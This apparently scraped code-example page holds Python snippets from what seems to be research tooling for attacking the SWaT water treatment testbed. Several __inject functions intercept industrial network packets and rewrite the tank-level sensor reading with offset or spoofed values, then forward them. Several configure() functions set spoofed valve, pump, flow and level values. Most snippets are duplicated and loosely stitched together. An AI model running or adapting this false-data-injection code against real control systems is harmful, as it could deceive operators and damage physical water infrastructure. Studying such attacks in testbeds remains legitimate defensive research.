Exemple #1
0
def __inject(packet):
    pkt = IP(packet.get_payload())
    if SWAT_P1_RIO_AI in pkt:
        slevel = current_to_signal(pkt[SWAT_P1_RIO_AI].level, P1Level)
        slevel += max_attack if slope_sign else -max_attack
        level = signal_to_current(slevel, P1Level)
        pkt[SWAT_P1_RIO_AI].level = level
        del pkt[UDP].chksum  # Need to recompute checksum
        packet.set_payload(str(pkt))

    packet.accept()
def __inject(packet):
    pkt = IP(packet.get_payload())
    if SWAT_P1_RIO_AI in pkt:
        slevel = current_to_signal(pkt[SWAT_P1_RIO_AI].level, P1Level)
        slevel += max_attack if slope_sign else -max_attack
        level = signal_to_current(slevel, P1Level)
        pkt[SWAT_P1_RIO_AI].level = level
        del pkt[UDP].chksum  # Need to recompute checksum
        packet.set_payload(str(pkt))

    packet.accept()
Exemple #3
0
def configure():
    global _valve_in, _pump1_in, _pump2_in
    valve = input('Set valve state Open(1) or Close(0):')
    _valve_in = True if valve else False
    pump1 = input('Set pump1 state On(1) or Off(0):')
    _pump1_in = True if pump1 else False
    pump2 = input('Set pump2 state On(1) or Off(0):')
    _pump2_in = True if pump2 else False
    global _valve_out, _pump1_out, _pump2_out
    valve = input('Set valve control Open(1) or Close(0):')
    _valve_out = True if valve else False
    pump1 = input('Set pump1 control On(1) or Off(0):')
    _pump1_out = True if pump1 else False
    pump2 = input('Set pump2 control On(1) or Off(0):')
    _pump2_out = True if pump2 else False
    global _flow_in, _level_in
    sflow = input('Set water flow (m^2/h): ')
    _flow_in = signal_to_current(sflow, P1Flow)
    slevel = input('Set water level (mm): ')
    _level_in = signal_to_current(slevel, P1Level)
    params()
Exemple #4
0
def __inject(packet):
    pkt = IP(packet.get_payload())
    if SWAT_P1_RIO_AI in pkt:
        global _elevel, _alevel, _is_first_pck
        if _is_first_pck:
            _elevel = _alevel = current_to_signal(pkt[SWAT_P1_RIO_AI].level, P1Level) / 1000
            thread.start()
            _is_first_pck = False
        alevel = signal_to_current(_alevel * 1000, P1Level)
        pkt[SWAT_P1_RIO_AI].level = alevel
        del pkt[UDP].chksum  # Need to recompute checksum
        packet.set_payload(str(pkt))

    packet.accept()
Exemple #5
0
def __inject(packet):
    pkt = IP(packet.get_payload())
    if SWAT_P1_RIO_AI in pkt:
        global _elevel, _alevel, _is_first_pck
        if _is_first_pck:
            _elevel = _alevel = current_to_signal(pkt[SWAT_P1_RIO_AI].level, P1Level) / 1000
            thread.start()
            _is_first_pck = False
        alevel = signal_to_current(_alevel * 1000, P1Level)
        pkt[SWAT_P1_RIO_AI].level = alevel
        del pkt[UDP].chksum  # Need to recompute checksum
        packet.set_payload(str(pkt))

    packet.accept()
def configure():
    global sflow, _flow
    sflow = input("Set level (m^2/h): ")
    flow = signal_to_current(sflow, P1Flow)
    params()
def configure():
    global slevel, level
    slevel = input('Set level (mm): ')
    level = signal_to_current(slevel, P1Level)
    params()
Exemple #8
0
def configure():
    global slevel, level
    slevel = input('Set level (mm): ')
    level = signal_to_current(slevel, P1Level)
    params()
def configure():
    global sflow, _flow
    sflow = input('Set level (m^2/h): ')
    flow = signal_to_current(sflow, P1Flow)
    params()